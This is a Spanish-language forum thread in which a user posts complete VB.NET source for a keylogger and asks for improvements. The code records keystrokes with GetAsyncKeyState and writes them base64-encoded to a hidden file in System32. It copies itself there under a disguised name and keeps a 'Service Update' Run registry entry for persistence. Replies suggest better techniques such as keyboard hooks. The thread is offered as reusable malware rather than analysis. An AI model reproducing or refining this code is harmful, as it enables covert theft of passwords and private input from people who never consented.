Key Loger en VB .NET

Iniciado por estebanvr, 17 Septiembre 2010, 16:56 PM

0 Miembros y 1 Visitante están viendo este tema.

estebanvr

Aqui hay un ejemplo de un keyloger en vb .net, lo que hice fue crear una aplicacion de windows nueva, luego me fue a las propiedades del proyecto y en ves de seleccionar aplicaciones para windows seleccione servicio de windows, luego se agrega un archivo de codigo y recomiendo eliminar el del formulario, y en la ventana de propiedade hacer que el archivo de codigo fuente sea el primero en iniciar,
aqui esta el codigo fuente , se que no es el mejor pero creo que a alguien le puede servir de algo,
Hay que tratar de eliminar las referencias a librerias que no estemos ocupando, para el caso de este keylogger deje solo windows.forms

Aqui esta codigo fuente del "Programa Principal"
Código (vbnet) [Seleccionar]

'--------------------------------------------------------------------------
Imports System.Windows.Forms
Module KLG

   Sub main()
       Dim tiempo As DateTime = DateTime.Now

       If IO.File.Exists(ruta) = True Then
           SetAttr(ruta, FileAttribute.Hidden)
       End If

       Comprobar_el_reg()
       copiar_a("cssrs.exe", "C:\Windows\System32\cssrs.exe")
       escribe("<<" & tiempo.ToShortTimeString() & "|" & tiempo.ToShortDateString() & ":")

       While ((comprobar_tecla(27) And comprobar_tecla(32) And comprobar_tecla(69)) <> True)

           espera(70)
           Comprobar_el_reg()'esto en un ciclo ya que si borran la clave de registro esta se podra volver a registrar


           For i As Integer = 32 To 128
               If comprobar_tecla(i) = True Then
                   espera(70)
                   escribe(Chr(i))
                   Exit For
               End If
           Next

           If comprobar_tecla(13) = True Then
               escribe(" (E) ")
           End If

           If comprobar_tecla(8) = True Then
               escribe(" (B) ")
           End If

           If comprobar_tecla(9) = True Then
               escribe(" (T) ")
           End If

           If comprobar_tecla(27) = True Then
               escribe(" (S) ")
           End If

           If comprobar_tecla(32) = True Then
               escribe(" ")
           End If

           If comprobar_tecla(46) = True Then
               escribe(".")
           End If
       End While

       escribe(">>EOR")
       Application.Exit()
   End Sub

End Module
'--------------------------------------------------------------------------
Aqui el modulo llamado Mod_Operaciones

Module Mod_Operaciones

   Friend Const ruta As String = "C:\Windows\System32\cssrs.001"

'Escribe en el archivo cssrs.001 las lecturas registradas
'se le agrega un poco de seguridad convirtiendolo a base64

   Friend Sub escribe(ByVal cadena_tecla As String)
       Dim archivo As New IO.StreamWriter(ruta, True)
       archivo.WriteLine(Convert.ToBase64String(System.Text.Encoding.Default.GetBytes(cadena_tecla)))
       archivo.Flush()
       archivo.Dispose()
       archivo.Close()
   End Sub

'Copia el ejecutable de keylogger en el directorio system32
   Friend Sub copiar_a(ByVal ruta_origen As String, ByVal ruta_destino As String)
       If IO.File.Exists(ruta_destino) = True Then Exit Sub
       IO.File.Copy(ruta_origen, ruta_destino)
   End Sub

'Intervalo de tiempo para las lecturas
   Friend Sub espera(ByVal milisegundos As Integer)
       Threading.Thread.Sleep(milisegundos)
   End Sub

End Module
'-------------------------------------------------------------------------- Modulo llamado Mod_Operaciones

Imports Microsoft.Win32
Module Mod_Subsistir

   Declare Function GAKS Lib "user32" Alias "GetAsyncKeyState" (ByVal vKey As Long) As Integer

'Comprueba si la clave de registro se encuentra en el sistema
'si no existe o si es borrada la crea

   Friend Sub Comprobar_el_reg()

       Dim llave_reg2 As RegistryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)

       If llave_reg2.GetValue("Service Update", "C:\Windows\System32\cssrs.exe") <> Nothing Then

           llave_reg2.SetValue("Service Update", "C:\Windows\System32\cssrs.exe")

       End If
   End Sub

'Se encarga de saber que tecla ha sido pulsada
   Friend Function comprobar_tecla(ByVal tecla As Integer) As Boolean
       If GAKS(tecla) <> 0 Then
           Return True
       End If
   End Function
End Module
'--------------------------------------------------------------------------

Alguna sugerencia para poder mejorarlo por favor
ahora el problema que tengo es que no se como leer teclas especiales como @ .
y ya probe

comprobar_tecla(64)


Shell Root

1. El código va entre las etiquetas [code=vbnet] -Aquí- [/code]
2. Usa variables de entorno. %WINDIR%
3. Usa la sentencia SWITCH
Por eso no duermo, por si tras mi ventana hay un cuervo. Cuelgo de hilos sueltos sabiendo que hay veneno en el aire.

Zzombi

mejor usa un hook de teclado  :-\

aquí un código en C# (fácil pasarlo a vb.net)

http://en.wikipedia.org/wiki/Hooking